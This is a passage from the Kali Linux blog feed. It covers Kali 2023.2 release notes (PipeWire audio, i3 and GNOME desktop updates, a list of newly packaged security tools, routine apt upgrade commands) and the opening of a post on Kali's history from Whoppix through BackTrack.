&lt;p>With this release, we changed the audio stack for Kali&amp;rsquo;s default desktop: &lt;a href="https://pipewire.org/">PipeWire&lt;/a> now replaces PulseAudio.&lt;/p>
&lt;p>Some background information: PipeWire is a &amp;ldquo;server for handling audio, video streams, and hardware on Linux&amp;rdquo;. It was initially released in 2017, is actively developed, and is poised to become the de-facto sound server in pretty much every Linux distribution out there, therefore replacing PulseAudio. The GNOME desktop already uses PipeWire by default in most Linux distributions, including Kali Linux since version &lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/">2022.4&lt;/a> . Most users never noticed the change.&lt;/p>
&lt;p>But let&amp;rsquo;s get back to Kali&amp;rsquo;s default desktop environment: Xfce. Xfce does not really &amp;ldquo;support&amp;rdquo; PipeWire per se, but it does not need to. PipeWire provides a compatibility layer, under the form of the &lt;code>pipewire-pulse&lt;/code> daemon. And that&amp;rsquo;s what make the magic happens: applications that were meant to work with PulseAudio keep working as if nothing happened, blissfully unaware of the change.&lt;/p>
&lt;p>We do not expect any issue with this transition, actually we expect the opposite, some well-known issues should be fixed, sound should work better overall.&lt;/p>
&lt;p>What should you do about it? Nothing special. For users who upgrade their Kali installation though, a reminder: the right command to upgrade your system is &lt;code>sudo apt update &amp;amp;&amp;amp; sudo apt full-upgrade&lt;/code>. Let us put the emphasis on &lt;code>full-upgrade&lt;/code>, rather than &lt;code>upgrade&lt;/code>: &lt;a href="https://www.kali.org/docs/troubleshooting/handling-common-apt-errors/">it matters&lt;/a>.&lt;/p>
&lt;p>Should this change cause any problem with your setup, head to the page &lt;a href="https://www.kali.org/docs/troubleshooting/no-sound/">No sound on Kali 2023.2&lt;/a> for tentative solutions.&lt;/p>
&lt;h2 id="i3-desktop-overhaul">i3 Desktop Overhaul&lt;/h2>
&lt;p>The Kali i3 desktop was completely redone!&lt;/p>
&lt;p>For context: &lt;a href="https://i3wm.org/">i3&lt;/a> is a tiling window manager. You might not have heard of it, it&amp;rsquo;s not available from the Kali&amp;rsquo;s installer, and it can be said to be a desktop for advanced users. Nevertheless, Kali used to propose a i3 desktop (provided by the metapackage &lt;code>kali-desktop-i3&lt;/code>) and also a i3-gaps desktop (metapackage &lt;code>kali-desktop-i3-gaps&lt;/code>), which was a sort of alternative version of i3.&lt;/p>
&lt;p>The upstream projects &lt;a href="https://github.com/Airblader/i3">i3-gaps and i3 merged recently&lt;/a>, so it was awkward for Kali to have two separate metapackages. Therefore those two packages were merged, and only &lt;code>kali-desktop-i3&lt;/code> remains. This metapackage now provides a complete desktop environment (rather than a bare minimum, as it used to).&lt;/p>
&lt;p>All of that work was done by long-time i3 user and Kali contributor, &lt;a href="https://arszilla.com/">Arszilla&lt;/a>, and we&amp;rsquo;re really thankful for that. He shared some screenshots of his setup, so that he can give you an idea of what a i3 desktop can look like:&lt;/p>
&lt;p>&lt;strong>Lock Screen&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-locked-screen.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-locked-screen.png" alt="Kali 2023.2 i3 lock screen" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>On/Off Menu&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-power-menu.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-power-menu.png" alt="Kali 2023.2 i3 on/off menu" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Desktop with tiled windows&lt;/strong> (note how inactive windows become transparent):&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-tiled-windows.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-tiled-windows.png" alt="Kali 2023.2 i3 desktop with tiled windows" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Desktop with floating windows&lt;/strong>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-floating-windows.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/i3-floating-windows.png" alt="Kali 2023.2 i3 desktop with floating windows" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>How can you try it out? Maybe the cleanest way is to &lt;a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/#configuring-the-kali-iso-build-optional">build yourself a custom installer iso&lt;/a> that includes the i3 desktop, and then install it on your machine of choice. After booting it up, refer to the &lt;a href="https://gitlab.com/Arszilla/i3-dotfiles#installation">installation guide&lt;/a>, there are a few manual steps to run if you want to configure your i3 desktop to something similar to the screenshots above.&lt;/p>
&lt;h2 id="desktop-updates">Desktop Updates&lt;/h2>
&lt;h3 id="xfce">Xfce&lt;/h3>
&lt;p>In this release we pre-installed a nifty extension for the Xfce File Manager: &lt;a href="https://gtkhash.org/">GtkHash&lt;/a>. This extension provides the option to quickly compute checksums, simply by doing a right-click on a file and then opening the &lt;em>Checksums&lt;/em> tab. No need to open a terminal and type the command manually! Screenshot below:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/gtkhash.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/gtkhash.png" alt="GtkKash" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="gnome-44">GNOME 44&lt;/h3>
&lt;p>Like for (almost) every half-year, there is a new version bump for the GNOME desktop environment. Kali 2023.2 brings the new version, &lt;a href="https://release.gnome.org/44/">GNOME 44&lt;/a>, which is a more polished experienced following the work previously introduced in previous version.&lt;/p>
&lt;p>Here are some of the new features for this update:&lt;/p>
&lt;ul>
&lt;li>Enhanced Shell Quick Settings Panel
&lt;ul>
&lt;li>Quickly connect or disconnect to bluetooth devices&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Updated Settings App&lt;/li>
&lt;li>GNOME’s file chooser dialog can now display thumbnails&lt;/li>
&lt;li>Updated Kali theming&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/gnome-44-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/gnome-44-1.png" alt="GNOME 44" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/gnome-44-2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/gnome-44-2.png" alt="GNOME 44 overview" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="tiling-assistant-extension">Tiling Assistant Extension&lt;/h4>
&lt;p>With this release, we are excited to introduce a new extension for Kali&amp;rsquo;s GNOME Shell desktop: Tiling Assistant. This extension elevates the default tiling experience, placing it on par with the quarter tiling support found in KDE and Xfce. With Tiling Assistant, you can surpass the limitations of the 2 column layout and unlock a range of powerful features. Enjoy intuitive window snapping, multi-monitor support, customizable keyboard shortcuts, and personalized settings, all designed to enhance your productivity and workflow.&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2023-2-release/videos/gnome-44-tiling.webm" >
Your browser does not support the video tag.
&lt;/video>
&lt;h2 id="app-icons-and-kali-menu-updates">App Icons and Kali Menu Updates&lt;/h2>
&lt;p>Beginning with this release, we are excited to announce that we have initiated work on updates and improvements for the Kali menu. Our primary focus is on enhancing the tools listed in the top 100 on the &lt;a href="https://www.kali.org/tools/">kali.org/tools page&lt;/a>. This entails improving existing icons, introducing new ones, and enhancing the organization of Kali&amp;rsquo;s menu categories.&lt;/p>
&lt;p>To provide you with a sneak peek, we have included a screenshot showcasing the new and updated app icons. We value your feedback, so if you believe that any particular tool would benefit from a new icon, please don&amp;rsquo;t hesitate to open a bug report at &lt;a href="https://bugs.kali.org/">bugs.kali.org&lt;/a>. Your input will contribute to the continued refinement of Kali&amp;rsquo;s menu experience.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-2-release/images/gnome-44-new-icons.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-2-release/images/gnome-44-new-icons.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what has been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/cilium-cli/">Cilium-cli&lt;/a> - Install, manage &amp;amp; troubleshoot Kubernetes clusters&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/cosign/">Cosign&lt;/a> - Container Signing&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/eksctl/">Eksctl&lt;/a> - Official CLI for Amazon EKS&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/evilginx2/">Evilginx&lt;/a> - Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/gophish/">GoPhish&lt;/a> - Open-Source Phishing Toolkit&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/humble/">Humble&lt;/a> - A fast security-oriented HTTP headers analyzer&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/slimtoolkit/">Slim(toolkit)&lt;/a> - Don&amp;rsquo;t change anything in your container image and minify it&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/syft/">Syft&lt;/a> - Generating a Software Bill of Materials from container images and filesystems&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/terraform/">Terraform&lt;/a> - Safely and predictably create, change, and improve infrastructure&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/tetragon/">Tetragon&lt;/a> - eBPF-based Security Observability and Runtime Enforcement&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/thehive/">TheHive&lt;/a> - A Scalable, Open Source and Free Security Incident Response Platform&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/trivy/">Trivy&lt;/a> - Find vulnerabilities, misconfigurations, secrets, SBOM in containers, Kubernetes, code repositories, clouds and more&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/wsgidav/">Wsgidav&lt;/a> - Generic and extendable WebDAV server based on WSGI&lt;/li>
&lt;/ul>
&lt;p>&lt;em>There has also been numerous packages updates and new libraries as well.&lt;/em>&lt;/p>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>Below are a few other things which have been updated in Kali, that do not have as much detail:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#python-updates--changes">Python PIP changes&lt;/a> - Friendly reminder about &lt;code>pip&lt;/code>&amp;rsquo;s behavior changing in Kali 2023.4!&lt;/li>
&lt;li>When using &lt;code>kali-tweaks&lt;/code>, altering OpenSSL security will now have an effect for Python based libraries as well!&lt;/li>
&lt;li>Our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-wsl-rootfs">Kali WSL rootfs build-script&lt;/a> got a overhaul. The result will now give a similar experience both using it as well as the output as it will include more of the standard packages by default. &lt;/li>
&lt;/ul>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>When using the &lt;a href="https://www.kali.org/docs/development/arm-build-scripts/">ARM build-scripts&lt;/a>, it will now prompt you to reboot after installing build dependencies if required.&lt;/p>
&lt;p>Plus, we are now including additional firmware on all ARM images.&lt;/p>
&lt;p>The &lt;a href="https://www.kali.org/docs/arm/usb-armory-mkii/">USBArmory MKII&lt;/a> image currently only supports the 512MB variant. The version of u-boot has been bumped.&lt;/p>
&lt;p>The &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w-p4wnp1-aloa/">Raspberry Pi P4wnP1 image&lt;/a> is now considered community supported. Unfortunately the upstream project does not support newer versions of &lt;code>bluez&lt;/code> that Kali has, so until that is fixed, we do not want to ship an image that does not work properly.&lt;/p>
&lt;h2 id="kali-documentation-updates">Kali Documentation Updates&lt;/h2>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had various updates to existing pages as well as the following new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/handling-common-apt-errors/">Handling common APT problems&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/import-premade-hyperv/">Import Pre-Made Kali Hyper-V VM&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/wsl/wsl-preparations/">Kali WSL&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/no-sound/">No sound on Kali 2023.2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/troubleshooting-vmware/">Troubleshooting Kali VMware VM&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>We also want to say a little thank you to following for their work:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/107cwk">107 cwk&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/8bitBoy">8bitBoy VT100&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/dwehrmann">Dennis Wehrmann&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/kamalmjt">Kamal&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/snowcra5h">snowcra5h&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/X0RW3LL">X0RW3LL&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="kali-blog-recap">Kali Blog Recap&lt;/h2>
&lt;p>Since our last release, we did the following &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/10-years/">Happy 10th anniversary &amp;amp; Kali&amp;rsquo;s story &amp;hellip;so far&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/frangalinux">Francisco Jose Rodriguez Martos&lt;/a> - improving the arm build scripts yet again. Thank you so very much!&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Salty_">Salty_&lt;/a> - doing the release testing for the Raspberry Pi 4.&lt;/li>
&lt;li>Mihir Parekh - reporting an issue with Kali KDE desktop in VMware, along with the workaround.&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;h3 id="new-kali-mirrors">New Kali Mirrors&lt;/h3>
&lt;p>We have some new mirrors since the year started! Those are:&lt;/p>
&lt;ul>
&lt;li>UK: &lt;a href="https://mirror.vinehost.net/kali">mirror.vinehost.net&lt;/a>, sponsored by &lt;a href="https://www.vinehost.net">VineHost&lt;/a>, thanks to Callum White.&lt;/li>
&lt;li>Moldova: &lt;a href="https://md.mirrors.hacktegic.com/kali">md.mirrors.hacktegic.com&lt;/a>, sponsored by &lt;a href="https://hacktegic.com/">Hacktegic Technologies SRL&lt;/a>, thanks to Artiom Mocrenco.&lt;/li>
&lt;li>Indonesia: &lt;a href="https://xsrv.moratelindo.io/kali">xsrv.moratelindo.io&lt;/a>, sponsored by &lt;a href="https://www.moratelindo.co.id/eng/index.html">PT Mora Telematika Indonesia&lt;/a>, thanks to Deddy Harison.&lt;/li>
&lt;li>Ukraine: &lt;a href="https://fastmirror.pp.ua/kali">fastmirror.pp.ua&lt;/a>, thanks to Ivan Barabash.&lt;/li>
&lt;/ul>
&lt;p>We almost got a new mirror in South America, but it did not work out, and we realized that we really lack mirrors in this region of the world. If you&amp;rsquo;re an organization in South America with quite some bandwidth to spare, and you want to improve Kali Linux availability in South America, check our guide on &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">how to setup a Kali Linux Mirror&lt;/a>. If you think it&amp;rsquo;s for you, please &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/#making-it-public---getting-in-contact">reach out&lt;/a>!&lt;/p>
&lt;hr>
&lt;h2 id="kali-team-discord-chat-session">Kali Team Discord Chat Session&lt;/h2>
&lt;p>The next &lt;a href="https://discord.kali.org/">Kali Discord&lt;/a> session will happen a week after the release, &lt;strong>Wednesday, 7th June 2023 16:00 -&amp;gt; 17:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>&lt;em>Please note, we will not be recording these sessions. These are live sessions only.&lt;/em>&lt;/p>
&lt;h2 id="get-kali-linux-20232">Get Kali Linux 2023.2&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go &lt;a href="https://www.kali.org/get-kali/">get Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2023.2 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2023.2&amp;quot;
VERSION_ID=&amp;quot;2023.2&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1kali1 (2023-05-12)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.1.0-kali9-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And social networks are not Bug Trackers!&lt;/strong>&lt;/p>
&lt;p>&lt;em>Want to keep in up-to-date easier? We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a>!&lt;/em>&lt;/p></description></item><item><title>Happy 10th anniversary &amp; Kali's story ...so far</title><link>https://www.kali.org/blog/10-years/</link><guid isPermaLink="true">https://www.kali.org/blog/10-years/</guid><pubDate>Wed, 29 Mar 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/10-years/images/banner-kali-10-year.jpg" type="image/jpg"/><description>
&lt;p>Wednesday 13th, March 2013, 10 years ago, Kali Linux v1.0 was &lt;a href="https://www.kali.org/docs/introduction/press-release/">first released&lt;/a>. Today we want to celebrate Kali&amp;rsquo;s 10th anniversary!&lt;/p>
&lt;p>Time has flown. And gosh, a lot has changed since then!
&lt;em>They grow up so fast!&lt;/em>&lt;/p>
&lt;p>This is the story of how Kali came to be, and some of the challenges along the way. &lt;/p>
&lt;h2 id="yesterday-is-history-the-past">Yesterday is History: The Past&lt;/h2>
&lt;p>How did we get to where we are today? There is a quick answer, and a not so quick answer.&lt;/p>
&lt;p>&lt;strong>&lt;a href="https://www.kali.org/releases/">Quick&lt;/a> history lesson&lt;/strong>&lt;/p>
&lt;p>It all began in 2004, with &lt;strong>Whoppix&lt;/strong>, a security operating system based on Knoppix. This lead into &lt;strong>WHAX&lt;/strong> in 2005, which used Slax. In 2006, &lt;strong>BackTrack Linux&lt;/strong> happened which was based initially on Slax, then moved to Ubuntu.
Every one of these OSes and its changes were done to solve different problems. Using everything which was learnt, &lt;strong>Kali Linux&lt;/strong> was born. A fresh start in March 2013.&lt;/p>
&lt;p>&lt;strong>&lt;a href="https://www.kali.org/docs/introduction/kali-linux-history/">Longer&lt;/a> history lesson&lt;/strong>&lt;/p>
&lt;p>&lt;em>Knoppix - Initial two weeks work&lt;/em>&lt;/p>
&lt;p>Whoppix &lt;em>(White-Hat and knOPPIX)&lt;/em> came about as the founder, @Muts, was doing an in-person air-gap network penetration test lasting for two weeks in 2004. It was a government contract, and he was not allowed to bring in his own laptop nor allowed to install any software on their machines. So every day, he was only allowed to take in software on a CD-ROM, before it was destroyed at the end of each day. At the time, Live CDs were the &amp;ldquo;in thing&amp;rdquo;. They would allow you to run a Linux OS completely off a disk, using RAM as a temporary HDD, without leaving a trace behind. Knoppix was chosen as the base OS which is Debian-based.
He created one for this assessment and pre-loaded it with various tools that he believed he would need for the job. Each night, he would go back, tweak it by adding more tools or bug fixes. After the assessment was over, he cleaned it up and shared it online on a forum in August 2004.
He then left for a vacation. Upon getting back he checked the logs to see the download numbers, and could not believe that it was so popular! He started to get requests from people, asking for tools to included as well as bug reports.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Whoppix2-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Whoppix2-1.png" alt="whoppix 2.x" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>&lt;em>Slax - Starting to take it seriously&lt;/em>&lt;/p>
&lt;p>What had started off as a &amp;ldquo;quick small thing&amp;rdquo; for single assessment, had started to gain traction. With Whoppix growing in popularity, it was becoming harder to develop for. At the time, Slax had a more mature toolchain for generating Live-CDs and working with OverlayFS. Thus it was a better suited option.
&lt;em>Editors note: We cannot say for certain, but the image file size may have become an issue. With more tools wanting to be added, space was running out. This was at a time when CD-R were at their peak, giving you 650-700 MB and USB media was not yet on the scene. By switching to Slax, the base OS size dropped, and allowed for more custom packages to be included as well as tighter compression (LZMA). Overall, this gave a lot more space to grow.&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/Whax3-5.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/Whax3-5.png" alt="Whax 3.0" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>&lt;em>Merging into BackTrack&lt;/em>&lt;/p>
&lt;p>At the same time, there was a similar project happening over at remote-exploit, &lt;strong>Auditor Security Collection&lt;/strong> (based on Knoppix), which first started in 2005. Auditor and WHAX had similar goals, but different strengths. At the time, cooperation on &amp;ldquo;Open-Source projects&amp;rdquo; was very different to what it is today, as it was &amp;ldquo;I made this thing, I&amp;rsquo;m sharing it.&amp;rdquo; It was more a few large players contributed, rather being able to accept work from lots of smaller submissions. After a bit of discussion between the authors, it made sense rather than both projects tackling the same problems, for the projects to merge together. This created BackTrack in May 2006. Initially, it was still based on Slax, but moved to Ubuntu later on.
&lt;em>Editors note: We cannot say for certain, where the name &amp;ldquo;BackTrack&amp;rdquo; originated from. At the time, when internally debugging problems, the phrase &amp;ldquo;Back tracking through the logs&amp;rdquo; got said frequency. We cannot say which came first, the phrase or the name.&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/BackTrack1-3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/BackTrack1-3.png" alt="BackTrack 1" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>&lt;em>OffSec&amp;rsquo;s Start&lt;/em>&lt;/p>
&lt;p>Walking around Black Hat USA 06, the team noticed how many people were using their project, and offering training using it. After listening to a few sales pitches, and training offerings, the team noticed just how many people were getting it wrong. As a result, &lt;a href="https://www.offsec.com/">OffSec (previously known as Offensive Security)&lt;/a>, was created. Training from the people who made the tools. Who else would know it better?!&lt;/p>
&lt;hr>
&lt;p>&lt;em>USB - Live-Boot &amp;amp; Persistent&lt;/em>&lt;/p>
&lt;p>BackTrack now had a stable, mature Live-CD project and it was exactly what was needed for the problem which was air-gap networks at the time. Whilst these Live-CDs were the answer for some scenarios, the team wanted to expand into more areas. The cost of USB flash drives/sticks had came down dramatically, as a result were more freely available. There was then a shift to &amp;ldquo;Live-Boot&amp;rdquo; (either CDs or USBs). The next item to solve would be getting their data to be &amp;ldquo;persistent&amp;rdquo; rather than losing it when powered off. Enter BackTrack 3 in June 2008.&lt;/p>
&lt;figure >
&lt;audio controls preload="metadata">
&lt;source src="https://www.kali.org/blog/10-years/audio/finishim.wav" type="audio/mpeg">
&lt;/audio>
&lt;/figure>
&lt;p>&lt;em>Login sound&lt;/em>&lt;/p>
&lt;hr>
&lt;p>&lt;em>System Updates&lt;/em>&lt;/p>
&lt;p>A few months later, the team was once again at Black Hat USA &amp;amp; DEF CON, and were really excited by how many people were using their creation, and got to see first hand how people were using it. &lt;em>DEF CON was also aware, as they were tracking user&amp;rsquo;s user-agents in web requests!&lt;/em>
Times were different to how it is now. It was common for &lt;em>big&lt;/em> exploits to make an appearance around these security conferences. 2008 was no exception.
Walking about, the team could see first hand how many people were vulnerable, and they were helpless as they had no way of pushing out a patch.
A drawback with Live-Boot is that in order to update to the latest release, you need to replace the whole OS. A complete re-install. Even with persistence for USBs, it is more for user data, rather than packages. Even if you installed BackTrack, there was not an update mechanism as the infrastructure was not in place to support it. You could not get the latest version. You would have to do a complete re-install.
The team knew what their next problem was to solve: system updates.&lt;/p>
&lt;p>As the project needs changed, the team had started hitting technical limitations of using Slax as the base, and started to look for an alternative underlying OS. They needed a way for end-users to easily update their system, without doing a complete re-install.
Ubuntu was making a lot of positive noise, was gaining a lot of traction as it was popular with end-users, and had good development tools. It allowed for package updates to easily be applied to people systems. In February 2009, at Shmoocon, BackTrack 4 &amp;ldquo;Beta&amp;rdquo; was released using Ubuntu.&lt;/p>
&lt;p>This change signals the start of BackTrack becoming a &amp;ldquo;real OS&amp;rdquo; - a traditional fully feature distribution.
Previously when there was a major change, there would be a new name for the project. However, because BackTrack was getting to be known, it had grown legs, started appearing in the media, it was becoming ingrained in pop culture, they wanted to keep the momentum going.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Installer&lt;/em>&lt;/p>
&lt;p>In various releases prior, there was an installer included, which got carried over from the underlying base OS (Slax). However, it was not straight forward to use, and it was expected that certain commands were ran prior to execution. This, plus not allowing for any customization meant it was dropped in later releases.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/BackTrack3-3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/BackTrack3-3.png" alt="BackTrack 3" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>With computer hardware getting more powerful each year, using virtual machine became more accessible. Users then started to want to be able to install BackTrack. The community started to contribute guides on how to manually install BackTrack, as well as creating an official tutorial via the terminal.
The goal was now clear, BackTrack needed an &amp;ldquo;easy&amp;rdquo; installer. A graphical one happened in BackTrack 4 &amp;ldquo;Pre-Final&amp;rdquo; in June 2009.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Domain&lt;/em>&lt;/p>
&lt;p>The team knew how much BackTrack was growing in popularity, and as they did not switch the project name when using Ubuntu, it was time to create its own place on the Internet. With the launch the first stable release of BackTrack 4 in January 2010, the project got its own domain (&lt;a href="https://www.backtrack-linux.org/">backtrack-linux.org&lt;/a>) and moved off remote-exploit.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/10-years/images/BackTrack4-4.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/10-years/images/BackTrack4-4.png" alt="BackTrack 4" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>&lt;em>System Upgrades&lt;/em>&lt;/p>
